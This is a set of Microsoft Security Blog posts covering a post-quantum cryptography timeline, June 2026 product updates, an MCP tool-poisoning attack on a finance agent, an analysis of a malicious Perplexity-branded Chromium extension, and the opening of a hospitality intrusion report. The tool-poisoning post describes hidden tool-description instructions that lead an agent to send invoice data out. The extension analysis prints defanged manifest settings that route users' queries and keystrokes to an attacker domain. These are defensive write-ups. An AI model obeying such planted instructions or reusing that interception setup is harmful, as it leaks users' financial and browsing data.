Microsoft Malware Protection Center

The quantum-safe timeline has changed

For years, planning for post-quantum cryptography (PQC) was framed as a future problem: important, inevitable, but distant. That perspective is evolving as technology advances and organizations prepare for the scale and complexity of the transition ahead. At Microsoft, we are acting on this shift by bringing our quantum-safe timeline forward so organizations can begin the transition earlier and with greater confidence.

Advances in quantum research and development have shifted the risk horizon. We believe cryptographically relevant quantum computers could arrive sooner than previously expected—and the work required to prepare is significant so organizations need to start now.

Recent government actions, including United States1 and French2 guidance to adopt quantum-safe cryptography as early as 2030 in certain high-risk systems, reflect the same conclusion: preparing for this transition is already underway.

This is a recognition that the transition to quantum-safe cryptography is a multi-year engineering effort that benefits from early planning and action, and delaying that work increases both cost and risk. This reinforces our decision to bring the work forward.

The quantum capabilities are accelerating. The time to respond is now.

Learn more about post-quantum cryptography Accelerating our timeline

In response to these shifts, we are accelerating the Microsoft Quantum Safe Program (QSP) timeline with the goal of transitioning critical products and services to PQC by 2029.

We are also incorporating PQC requirements into our Secure Future Initiative (SFI). This brings quantum-safe readiness into the same disciplined engineering framework we use for other critical security outcomes: clear ownership, measurable milestones, and transparent progress. Embedding these capabilities into our platforms empowers customers to move sooner and more confidently.

What “accelerating” means in practice

Accelerating our timeline means pulling forward key engineering work so new standards can be adopted earlier and modernization can begin well ahead of broad quantum impact.

Our priorities fall into three areas:

1. Upgrade network cryptography (data in transit)

Modernizing network cryptography is a prerequisite for post-quantum adoption. As an example, adopting TLS 1.3 establishes a baseline that enables hybrid and post-quantum key exchange as standards mature.

What this looks like: Critical endpoints negotiate TLS 1.3 by default, with legacy protocol use reduced or eliminated wherever possible.

2. Build crypto-agility for stored data (data at rest)

Crypto-agility—the ability to change cryptography without redesigning systems—enables the safe, timely adoption of new cryptographic standards. This requires making cryptographic settings configurable outside of the application, standardizing key management and rotation, and eliminating hard-coded algorithms.

What this looks like: Cryptographic algorithms can be updated with minimal application changes and limited service disruption. You can learn more about crypto-agility here. 

3. Modernize cryptographic trust chains (identity, signing, certificates)

The most complex work is securing the chains of trust that underpin software, devices, and services at scale. That includes code signing, certificate issuance, key protection, and update pipelines.

What this looks like: This includes hardware-backed key protection, updated certificate lifetimes and policies, and auditable signing and issuance processes for critical trust anchors, with a transition to PQC algorithms as they become available.

What this means for our customers

Accelerating the timeline doesn’t change the core challenge: for most organizations, the hardest part isn’t selecting post-quantum algorithms. It’s understanding and updating where cryptography already exists across apps, services, networks, identities, certificates, and hardware.

Bringing this work forward means Microsoft can help organizations begin that process sooner, starting with an inventory-first approach to identify, prioritize, and modernize cryptographic dependencies with greater confidence.

We will continue to share technical guidance and operational best practices to help organizations adopt quantum-safe cryptography with confidence as they move from planning into execution.

Microsoft moving earlier allows organizations to align to that same timeline, one that reduces risk while maintaining operational continuity.

What we are hearing from customers and partners

Across industries and regions, organizations are already taking steps, with several consistent themes emerging:

• The future of security is agile and the transition is iterative.

Organizations are designing for change. Building crypto‑agility into systems delivers long-term resilience so new cryptography standards can be adopted over time without redesigning systems.

• Long-lived, sensitive data requires earlier protection.

Organizations are prioritizing data with long confidentiality lifetimes, recognizing that encrypted data captured today could be exposed in the future (“harvest now, decrypt later”) as cryptographic capabilities evolve.

• Preparation delivers immediate value.

Organizations that begin with cryptographic discovery and lifecycle management consistently uncover existing gaps that require attention today, independent of quantum risk.

• The hardest problem isn’t quantum—it’s complexity.

Most organizations lack clear visibility into where cryptography exists across applications, infrastructure, and legacy systems, making discovery and prioritization the primary challenge.

These signals shape how we are approaching quantum safety at Microsoft and how we support and empower all organizations in their readiness.

What to do now

Organizations do not need to wait; there are steps you can take today to begin the transition:

• Align on strategy: Define ownership, scope, and milestones for a multi-year cryptography transition.
• Design for change: Build crypto-agility into new systems so future standards shifts are updates, not fire drills.
• Begin with inventory: Create and maintain a living cryptographic inventory to identify, prioritize, and modernize dependencies.
• Modernize protocols: Adopt modern standards such as TLS 1.3 as a baseline across client and server systems.

Looking ahead

The Microsoft Quantum Safe Program (QSP) goes beyond future cryptography. It is part of a broader effort to strengthen long-term resilience across identity, infrastructure, data, and supply-chain security—bringing this work into the systems and platforms organizations rely on daily.

Our goal is straightforward: ensure that Microsoft platforms and services can adopt new cryptographic standards quickly and safely as they mature, so organizations can move at the same pace without disrupting their operations.

Microsoft will continue to share progress and practical guidance to help organizations plan, prepare, and move into execution as standards and cyberthreats evolve. By starting now, organizations can reduce risk today and be better prepared for what comes next.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

1Securing the nation against advanced cryptographic attacks, whitehouse.gov. June 22, 2026.

2France to stop certifying products without quantum-safe encryption, Reuters. June 16, 2026.

The post Accelerating the quantum-safe timeline appeared first on Microsoft Security Blog.

As organizations scale AI and agents across environments, security teams need protection that covers every surface. The Microsoft vision is simple: security should be ambient and autonomous, just like the AI it protects. This month’s updates help security and IT teams strengthen identity and multicloud foundations, protect data wherever it lives, and secure the developer workflows powering AI innovation. Here’s what’s new:

Codename MDASH helps teams discover and remediate complex vulnerabilities

Codename MDASH is a multi-model agentic scanning system designed to discover, validate, and help remediate software vulnerabilities across complex environments. MDASH orchestrates a panel of specialized AI agents that reason through proprietary code and systems, helping security teams surface elusive vulnerabilities quickly and systematically. For example, when security teams use MDASH to scan a complex application, it can identify and validate a previously undetected vulnerability in the underlying code and systems, and route it into Microsoft Defender workflows and engineering pipelines for remediation. This closed loop connects discovery, validation, and remediation across the Microsoft stack. Sign up to follow codename MDASH and join the private preview to surface and validate hard-to-find vulnerabilities with multi-model AI.

Join the codename MDASH private preview Microsoft Defender extends endpoint protection to local AI agents

Microsoft Defender now discovers more than 25 types of local AI agents and Model Context Protocol (MCP) servers across managed Windows and macOS devices. Defender also protects at runtime: if a developer using a popular coding agent like GitHub Copilot Command-Line Interface (CLI) or Claude Code is targeted by a prompt injection attempts, Defender detects and blocks it before the malicious action executes. From there, security teams can investigate agent exposure across their environment with Advanced Hunting. These capabilities are now in preview.

Microsoft Entra Backup and Recovery restores critical identity data

Microsoft Entra Backup and Recovery is now generally available, delivering Microsoft-managed, always-on backups native to your environment that are protected from deletion or modification. Security teams gain clear visibility into what changed across their tenant and can back up core directory objects, compare and restore to previous timestamps, and configure Conditional Access policies to protect against permanent deletion. Together, these capabilities protect your tenant, helping you minimize downtime and recover quickly from accidental changes and security compromises. Strengthen identity resilience with rapid recovery capabilities in Microsoft Entra.

Microsoft Defender protects open-source relational databases on AWS RDS

Microsoft Defender for Cloud now extends database threat protection to open-source relational databases on Amazon Web Services (AWS) Relational Database Service (RDS). Now generally available, built-in threat detection identifies anomalous access patterns and brute-force attempts, while automated sensitive data discovery helps teams understand where high-risk data resides. These insights, combined with integrated investigation across Microsoft Defender, help teams prioritize and respond to database risks more effectively. Detect threats and discover sensitive data across Azure and AWS with Microsoft Defender.

Greater flexibility over data security insights with Microsoft Purview customizable reports

Microsoft Purview customizable reports, now generally available in Data Security Posture Management (DSPM), give teams greater control and flexibility to tailor reporting views, analyze trends, and quickly surface the insights that enable faster, more informed decisions. Choose from out-of-the-box reports or create custom reports tailored to your organization’s specific needs, with easy options to export and share insights across teams and stakeholders. For example, security teams can create role-specific reports that highlight high-risk data exposure trends to guide policy decisions. Learn how to customize reporting experiences to uncover your critical data security insights.

Broader visibility with expanded multi-cloud coverage in Defender for Cloud

Microsoft Defender for Cloud is expanding multicloud coverage and visibility across AWS and Google Cloud, adding support for approximately 90 additional resource types and more than 200 new security recommendations. Security teams can better understand their attack surface with broader visibility across cloud-native applications, identities, data services, and workloads. Across multicloud environments, teams can better assess security posture and prioritize remediation based on exposure context, compliance posture, and business criticality to reduce risk more effectively. Gain broader visibility and prioritize risk across multicloud environments with Defender for Cloud.

Prioritize risk with unified identity risk score

A new unified identity risk score combines signals from across Microsoft Security into a single, explainable measure of an identity’s risk. It brings together behavior, access patterns, and threat intelligence for all related accounts, sessions, and applications to provide a complete view of risk. The moment an identity acts suspiciously, the score helps your team cut through the noise, prioritize what’s urgent, and can automatically trigger Conditional Access policies to enforce protection at the point of access. Prioritize identity risk and enforce protection in real time with the new unified identity risk score.

Security innovations purpose built for developers

To help developers secure code, agents, and models while giving security teams consistent visibility and control from development through runtime, Microsoft is integrating security into the tools and platforms developers already use. Organizations can use the new security tools and capabilities announced at Microsoft Build 2026 to innovate faster and scale AI adoption without sacrificing security. Read more about the Build 2026 security announcements.

Stay In the Loop

Microsoft Security continually ships meaningful innovations across our portfolio and research-driven insights and reports for the security community. In the Loop posts are your reliable source of what’s new across Microsoft Security and what it means for your security strategy. Check back for the next drop.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post ​​What’s new in Microsoft Security: June 2026 appeared first on Microsoft Security Blog.

In this article

1. From reading to acting
2. Attack pattern: MCP tool poisoning in a finance workflow
3. Mitigation and protection guidance
4. References
5. Learn more

As enterprise deployments mature, some enterprise AI agents are shifting from reading content to taking action. In this post, Microsoft Incident Response walks through an attack pattern that targets the fastest growing part of the agentic AI supply chain: Model Context Protocol (MCP) tools. The post provides a practical playbook for detecting, containing, and preventing this class of attack using Microsoft security controls.

From reading to acting

This is the third post in the AI Application Security series. AI Application Series 1: Security considerations when adopting AI tools examined how AI adoption expands the enterprise attack surface. AI Application Series 2: Detecting and analyzing prompt abuse in AI tools showed how indirect prompt injection can bias the output of a passive AI summarizer. In both cases, the AI only read content and produced text, it did not take action. This post addresses what happens when that boundary changes.

AI agents can plan multi-step tasks, decide which tools to invoke, and execute actions on behalf of the user. Microsoft 365 Copilot can draft and send email, create documents, and update calendar entries. Copilot Studio and Azure AI Foundry allow organizations to build custom agents that connect to business systems through MCP. As AI is increasingly used in read-write workflows, the impact profile of vulnerabilities may shift. A prompt injection against a summarizer can bias an output. A prompt injection against an agent can trigger an action.

According to the International Data Corporation (IDC), the number of active AI agents in enterprises is projected to grow from 28.6 million in 2025 to more than 2.2 billion by 2030. That scale is why the OWASP Top 10 for Agentic Applications, released in December 2025, now sits alongside the LLM Top 10 as a reference framework for defenders. This post focuses on one of its fastest-moving categories: tool misuse and agentic supply chain risk exploited through poisoned MCP tool metadata.

Attack pattern: MCP tool poisoning in a finance workflow

The pattern below maps to ASI02 – Tool Misuse and ASI04 – Agentic Supply Chain Vulnerabilities. It reflects techniques first disclosed by Invariant Labs in April 2025 and observed in 2026 against a growing range of enterprise agents.

The environment

A financial operations team builds a Copilot Studio agent to help analysts handle vendor invoices. The agent has generative orchestration enabled and connects to three tools: a Dataverse MCP server holding the approved vendor master, an Outlook connector for vendor correspondence, and a third-party invoice enrichment MCP server added to validate banking details against an external reference database. The third-party server is reviewed by the team’s service owner lead and approved for production use. No separate security review is performed.

Attack chain overview

Phase 1: Tool description poisoning. A developer pushes an update to the enrichment server. The tool name and user-facing summary remain unchanged, but the MCP tool description is silently modified. This description is the natural-language metadata the agent reads to decide how and when to call the tool. Buried within what appears to be legitimate formatting guidance is a hidden block of instructions directing the agent to retrieve the last thirty unpaid invoices, summarize them, and attach that summary as an additional parameter in the enrichment call—framed as a fraud-heuristic requirement.

Phase 2: Silent re-trust.The MCP reflects tool metadata updates dynamically. In configurations where description changes do not trigger a re-approval workflow, the updated instructions become active without additional review. The poisoned description is live in production.

Phase 3: User invocation. A financial analyst asks the agent a routine question about a supplier. Without any visible indication, the agent follows the hidden instructions embedded in the poisoned tool description, collecting sensitive financial records beyond the scope of the original request and forwarding them as part of the enrichment call, as if it were a normal part of the request.

Phase 4: Exfiltration. The enrichment server returns a plausible “validated” response and silently logs the attached invoice summary to a threat actor-controlled endpoint. The analyst sees a clean answer. No alert may fire in default configurations. Every individual action the agent took was within its normal operating parameters. This pattern does not exploit a vulnerability in Copilot itself, but rather a trust boundary introduced by external tool integrations.

Figure 1:Attack flow for MCP tool poisoning of a Copilot Studio agent, with Microsoft controls mapped to each stage. Why this pattern is effective

Each action the agent takes on its own is legitimate. The tool is approved, the Dataverse query inherits the analyst’s permissions, and the outbound call goes to a server that was allowlisted when it was added. The vulnerability is not in any single system; it is in the trust boundary between them.The MCP blends instructions (tool descriptions) with data, so a change to a tool’s metadata can redirect the agent’s behavior as effectively as a change to its system prompt. The agent cannot distinguish between a legitimate instruction authored by its owner and a malicious instruction inserted by an upstream maintainer.

Mitigation and protection guidance Detection and response with Microsoft security tools

The controls mapped in Figure 1 apply at four points in the attack chain, each supported by a specific Microsoft capability:

• Govern the supply chain. Maintain a tenant-level allowlist of approved MCP publishers and servers. The Microsoft MCP catalog provides a list of first-party servers, review and assess where provenance is verifiable. Disable Allow all on MCP connections and enable only the specific tools an agent needs.
• Inspect tool metadata. Use Prompt Shields in Azure AI Content Safety to inspect content flowing from MCP tool responses and descriptions into agent context. Defender for Cloud’s AI workload protection alerts on suspicious prompts and tool outputs at runtime. Review metadata changes to production tools with the same rigor as changes to system prompts.
• Guard the action. Microsoft Purview Data Loss Prevention (DLP) policies inspect tool call parameters and can block sensitive data in outbound payloads. For high-impact actions such as financial data access, external sharing, or account changes, configure human-in-the-loop approval through Copilot Studio. Assign each agent a non-human identity in Microsoft Entra Agent ID and apply Conditional Access to its workload identity.
• Correlate the chain. When MCP server telemetry is instrumented and forwarded to Microsoft Sentinel, it can be correlated against agent behavior signals to flag anomalous sequences. Microsoft Defender for Cloud Apps surfaces new external endpoints an agent has started interacting with. Microsoft Purview audit logs provide the evidence trail for investigation and post-incident review.

Three principles for agent supply chain governance

Treat every MCP server as part of the supply chain. Every MCP server an agent can call is a production dependency. Maintain an inventory of approved publishers, review tool descriptions during security review rather than relying on tool names alone, and require a documented owner for any third-party server before production use.

Treat tool descriptions as system prompts. Because models can read tool metadata as part of their working context, a change to that metadata is equivalent to a change in agent instructions. Require change review for tool description updates on critical agents and use Prompt Shields to inspect metadata for imperative language that does not belong in a documentation field.

Apply least agency, not just least privilege. There are important factors to consider for permissions. Even a minimally permissioned agent can cause harm if it has too much autonomy. Turn off Allow all tool access, require human approval for high-impact actions, and establish baseline agent behaviors in Microsoft Sentinel so that deviations from the norm—such as new endpoints, expanded parameters, or unusual query patterns—trigger alerts.

Conclusion

Agents that act on behalf of users depend on a supply chain of tools that is growing as governance programs continue to evolve. A threat actor who modifies a tool description may influence agents that rely on it, even without directly involving a user, a prompt, or a credential. The OWASP Top 10 for Agentic Applications provides the framework.

Microsoft security capabilities—including Copilot Studio guardrails, Prompt Shields, Defender for Cloud AI Protection, Microsoft Entra Agent ID, Microsoft Purview DLP, Microsoft Defender for Cloud Apps, and Microsoft Sentinel—provide the controls. What remains is to apply them deliberately to agentic workflows: scope permissions, govern the tool supply chain, monitor agent behavior, and perform red teaming exercises before deployment.

References

• IDC FutureScape 2026 Predictions Reveal the Rise of Agentic AI and a Turning Point in Enterprise Transformation. IDC (accessed 2026-06-03)
• OWASP GenAI Security Project Releases Top 10 Risks and Mitigations for Agentic AI Security. OWASP Gen AI Security Project (accessed 2026-06-03)
• MCP Security Notification: Tool Poisoning Attacks. Invariant Labs (accessed 2026-06-03)

Microsoft follows coordinated disclosure practices and is not disclosing details of any specific affected organization.

This research is provided by Microsoft Defender Security Research, Mohammed Zaid, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Securing AI agents: When AI tools move from reading to acting appeared first on Microsoft Security Blog.

In this article

1. Extension overview
2. Key indicators of malicious behavior
3. Dynamic analysis findings
4. Mitigation and protection guidance
5. References
6. Learn more

Microsoft Threat Intelligence has identified a malicious Chromium-based extension that spoofs the AI-powered answer engine Perplexity AI to trick unsuspecting users into installing it. Based on our observation of the extension’s behavior, we assess its primary objective to be search traffic interception and data collection, which might enable downstream use cases such as profiling, targeted advertising, or other forms of misuse depending on operator intent. Through responsible disclosure, we reported this extension to Google, and it has been taken down as of this writing. We’d like to thank Google for responding to and addressing this issue.

Browser extensions continue to represent a significant attack surface within enterprise and consumer ecosystems due to their privileged access to browser APIs, user traffic, and browsing behavior. However, unlike traditional search hijackers that rely primarily on aggressive monetization or visible redirection, this extension combines Manifest Version 3 (MV3) capabilities with intermediary infrastructure and declarativeNetRequest (DNR) rules to transparently intercept Omnibox queries while preserving the appearance of legitimate search results. In addition, while browser search hijacking is not a new threat category, this research highlights how threat actors continue to operationalize AI to accelerate attacks—specifically the use of AI brands as a social engineering vector.

The extension routes both full search queries and real-time search suggestions (typed characters) through attacker-controlled infrastructure hosted on a domain not associated with the legitimate vendor, before redirecting users to expected search providers. While the observed activity demonstrates the capability to capture user input and browsing signals, no evidence in our analysis definitively confirms additional objectives such as credential theft. However, the level of access and permissions requested introduces elevated privacy and security risk.

As threat actors continue to capitalize on emerging industry trends such as AI and leverage trusted branding to improve the success rates of their campaigns, organizations should strengthen user awareness training and similar programs to educate end users about the latest social engineering tactics. They should also implement a layered security strategy that correlates available indicators with behavioral signals and other threat intelligence.

In this blog post, we provide our analysis of the browser extension—including key indicators of malicious behavior and findings from our dynamic analysis. We also provide mitigation and protection guidance, as well as advanced hunting queries, to help organizations detect and defend against this threat.

Extension overview

The extension we analyzed has the following attributes:

AttributeValueExtension nameSearch for perplexity aiExtension IDflkebkiofojicogddingbdmcmkpbplcdManifest versionMV3Version2.2Observed purposeBrowser search override and redirect logicReferenced brandPerplexity AISuspicious domainperplexity-ai[.]online

It appears to spoof the publicly available Perplexity service by using similar branding elements and a typosquatted domain. The said domain mismatch might increase the likelihood of user confusion regarding the extension’s source or affiliation.

Figure 1: Landing page of perplexity-ai[.]online. Figure 2: Details of the extension on Chrome Store.

Based on our analysis, the extension has been classified as malicious due to observed search redirection behavior. The analyzed extension’s manifest declares itself as the following:

"search_provider": { "name": "Perplexity Search" }

It uses the following infrastructure:

"search_url": https://perplexity-ai[.]online/search/{searchTerms}

The extension also forces itself as the browser default search provider:

"is_default": true

At first glance, the extension appears to provide AI-enhanced search functionality. However, analysis of the manifest reveals multiple suspicious behaviors and permissions inconsistent with legitimate AI search assistants.

Figure 3. Manifest.json configuration of the analyzed extension. Figure 4. Manifest.json configuration of the analyzed extension (continued). Key indicators of malicious behavior Typosquatted infrastructure

The extension uses the domain perplexity-ai[.]online, which is similar to the legitimate Perplexity AI service’s domain (perplexity[.]ai). This pattern is consistent with domain naming approaches often frequently observed in phishing campaigns, search hijackers, fake AI applications, and extension malware.

Previous research has discussed how browser extensions might use branding similar to trusted services because:

• Users associate AI tools with productivity and legitimacy
• AI-related extensions currently experience high install rates
• Users are less suspicious of browser-integrated AI assistants

Browser search hijacking

The extension overrides browser search settings through chrome_settings_overrides to replace the browser default search provider as well as intercept and redirect all queries in a Chromium browser’s Omnibox to an intermediary infrastructure not associated with the official vendor domain:

"chrome_settings_overrides": { "search_provider": { "name": "Perplexity Search", "keyword": "perplexity", "is_default": true, "search_url": "hxxps://perplexity-ai[.]online/search/{searchTerms}", "favicon_url": "hxxps://perplexity-ai[.]online/favicon.ico", "suggest_url": "hxxps://perplexity-ai[.]online/search?output=firefox&q={searchTerms}" } }

Critically, the suggest_url field also routes through perplexity-ai[.]online. This means real-time search suggestions—every character typed in the address bar—are transmitted to an attacker-controlled infrastructure before any redirect occurs. This constitutes active user surveillance (keystroke-level capture) beyond simple search redirection.

Although Chromium-based browsers permit search provider overrides for legitimate use cases, Google explicitly states that extensions requesting settings overrides along with additional powerful capabilities might violate the browser’s single-purpose policy.

Abuse of declarativeNetRequest

The extension requests powerful DNR permissions that enable traffic redirection, URL rewriting, and selective request filtering, which aren’t consistent with expected AI assistant behavior:

"permissions": [ "declarativeNetRequest", "declarativeNetRequestFeedback", "declarativeNetRequestWithHostAccess" ]

These permissions provide specific capabilities exploited by this extension:

• declarativeNetRequest: Redirects all main_frame requests matching perplexity-ai[.]online/search/(.*) to legitimate search engines, creating a two-hop chain where the attacker server processes the query before the browser is redirected.
• declarativeNetRequestFeedback: Allows the extension to programmatically monitor which redirect rules fire, effectively confirming exfiltration success for each intercepted query.
• declarativeNetRequestWithHostAccess: Combined with host_permissions for ://perplexity-ai.online/, enables full request interception capabilities on the attacker-controlled domain. This behavior might enable traffic redirection and related activity depending on implementation.

The use of these permissions in an AI-themed search extension is particularly concerning because a legitimate search UI generally doesn’t require advanced network-manipulation APIs.

Search rewrite infrastructure

Multiple rule sets indicate modular traffic hijacking capability across providers such as Perplexity, Google, and Bing:

"rule_resources": [ { "id": "perplexity", "enabled": true, "path": "perplexity-rules.json" }, { "id": "bing", "enabled": false, "path": "bing-rules.json" }, { "id": "google", "enabled": false, "path": "google-rules.json" } ]

This architecture enables modular traffic redirection controlled by the background service worker. The two-hop redirect design is critical to understanding the threat model:

1. Browser sends query to perplexity-ai[.]online (attacker server logs query, HTTP headers, IP, user-agent)
2. DNR rule immediately redirects browser to legitimate engine (perplexity[.]ai, google[.]com, or bing[.]com)
3. User sees normal search results, completely unaware of interception

The data theft occurs on hop 1, not on the redirect (hop 2). The server-side code (server.js) shipped with the extension explicitly logs all incoming requests including full headers, confirming the data collection intent. This activity aligns with behaviors observed in modern browser hijackers and ad-fraud ecosystems.

Host permissions

The extension requests host access to intermediary infrastructure not associated with the official vendor domain, enabling data interception and telemetry exposure:

"host_permissions": [ "*://perplexity-ai[.]online/*" ] Content security policy

The extension declares the following:

"content_security_policy": {"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"}

The inclusion of wasm-unsafe-eval is unusual for a search-redirect extension because it permits WebAssembly (Wasm) execution within extension pages. Although no Wasm modules were observed in version 2.2, the presence of this directive enables future Wasm-based functionality without requiring modifications to the extension’s content security policy configuration.

Dynamic analysis findings

Upon installation, the extension opens hxxps://extension.tilda[.]ws/perplexityai, presenting target users with an onboarding page designed to resemble a legitimate product setup flow. Similar onboarding techniques have been observed in extension-based adware and search-redirection campaigns, where they’re used to increase user trust and reduce scrutiny of subsequent browser modifications.

Figure 5. Onboarding page launched by the extension after installation.

The runtime workflow we’ve observed demonstrates browser search redirection behavior:

1. User enters search query into the Omnibox.
2. Browser request routed to perplexity-ai[.]online.
   • Server logs full request: query string, HTTP headers, user-agent, and source IP address.
   • suggest_url captures real-time keystrokes during typing (before Enter is pressed)
3. Ruleset executes redirect.
4. User is delivered to selected search provider.

Unusually, this extension ships with its own server-side infrastructure code, revealing the complete attack architecture:

• server.js (Node.js proxy)
  • Logs all incoming requests including method, URL, and full HTTP headers.
  • Proxies’ suggestion queries to suggestqueries.google[.]com.
  • Adds permissive CORS headers (Access-Control-Allow-Origin: *) to enable cross-origin responses.
• nginx.conf
  • Configures perplexity-ai[.]online with Let’s Encrypt SSL.
  • Proxies /search endpoint to Google suggestions API.
  • Filters CORS origins exclusively to *.oda[.]digital (operator infrastructure).
  • Forces HTTP-to-HTTPS redirect.

This server-side code is definitive evidence that query interception and logging is architecturally intentional, not an incidental by-product of the redirect mechanism.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Restrict the installation of untrusted browser extensions by enforcing allow‑listing and enterprise policy controls within managed environments.
• Encourage users to verify extension publishers, domains, and branding—particularly for AI-themed tools commonly leveraged in social engineering scenarios.
• Monitor unauthorized changes to browser search settings, unusual extension permissions, and outbound traffic to intermediary or non-standard domains associated with search activity. Controls that identify or flag extensions requesting search override capabilities or network-related APIs can help reduce potential risk exposure. Continuous inspection of extension behavior, alongside reputation-based methods, might also provide improved visibility into anomalous or potentially unwanted activity.
• Leverage platform-level protections to further reduce risk:
  • Microsoft Edge includes built-in capabilities designed to identify and respond to potentially malicious or unwanted extensions that attempt to manipulate browser behavior, including search redirection. Depending on configuration and risk signals, Edge might restrict or block extension execution.
    The Microsoft Edge Add-ons store also uses automated and manual review processes to assess extensions before and after publication, while ongoing monitoring enables identification and removal of extensions that violate policies—helping reduce user exposure to emerging threats.
  • Microsoft Defender SmartScreen provides reputation-based protection for URLs and web content, helping detect and block access to domains associated with malicious or deceptive activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

TacticObserved activityMicrosoft Defender coverageDiscoveryPresence of suspicious or unverified browser extension identifiers– Detection of unknown or low-reputation extension artifacts
– Monitoring extension-related files through endpoint telemetryCommand and Control (C2)Outbound communication to suspicious or lookalike domains associated with redirection infrastructure– Detection of connections to suspicious or low-reputation domains  
–  Network telemetry correlation identifying intermediary infrastructure Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation: Assist analysts in investigating alerts, correlating signals, and supporting analysis of extension-related activity to intermediary domains such as perplexity-ai[.]online.
• Microsoft User analysis: Support analysis of potentially impacted users whose browser search activity has been intercepted or redirected by malicious extensions.

Advanced hunting queries

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Look for the presence of the malicious extension through file artifacts:

DeviceFileEvents | where FileName has "flkebkiofojicogddingbdmcmkpbplcd" or FolderPath has "flkebkiofojicogddingbdmcmkpbplcd" | summarize Count = count() by DeviceName, DeviceId, FolderPath

Look for outbound network communication to intermediary infrastructure not associated with the official vendor domain:

DeviceNetworkEvents | where RemoteUrl has "perplexity-ai.online" | summarize Count = count() by DeviceName, DeviceId, InitiatingProcessAccountName, RemoteUrl MITRE ATT&CK techniques observed TacticObserved activityInitial AccessUser installs malicious Chromium extension using branding and naming similar to the Perplexity AI service from browser ecosystemExecutionExtension executes MV3 logic and DNR rules to intercept and control trafficPersistenceExtension forces itself as default search provider using chrome_settings_overrides (is_default=true)Defense EvasionUses legitimate MV3 APIs (DNR rules) to hide malicious behavior inside browser-native logicInput CaptureReal-time search suggestions (keystrokes) are captured through suggest_url and routed to attacker domainCommand and ControlBrowser queries are routed to an intermediary infrastructure not associated with the official vendor domain acting as intermediary Indicators of compromise IndicatorTypeDescriptionperplexity-ai[.]onlineDomainTyposquatted domain used for search redirectionflkebkiofojicogddingbdmcmkpbplcdExtension IDMalicious Chromium extensionextension.tilda[.]ws/perplexityaiURLInstallation onboarding page References

• Phishing Via Typosquatting and Brand Impersonation: Trends and Tactics – Zscaler
• Overriding Chrome Settings

This research is provided by Microsoft Defender Security Research,  Asutosha Panigrahi, Ashwani Kumar, Mohd Sadique, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Chromium extension uses AI‑related branding to redirect browser search appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Mitigation and protection guidance
3. References 
4. Learn more

Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

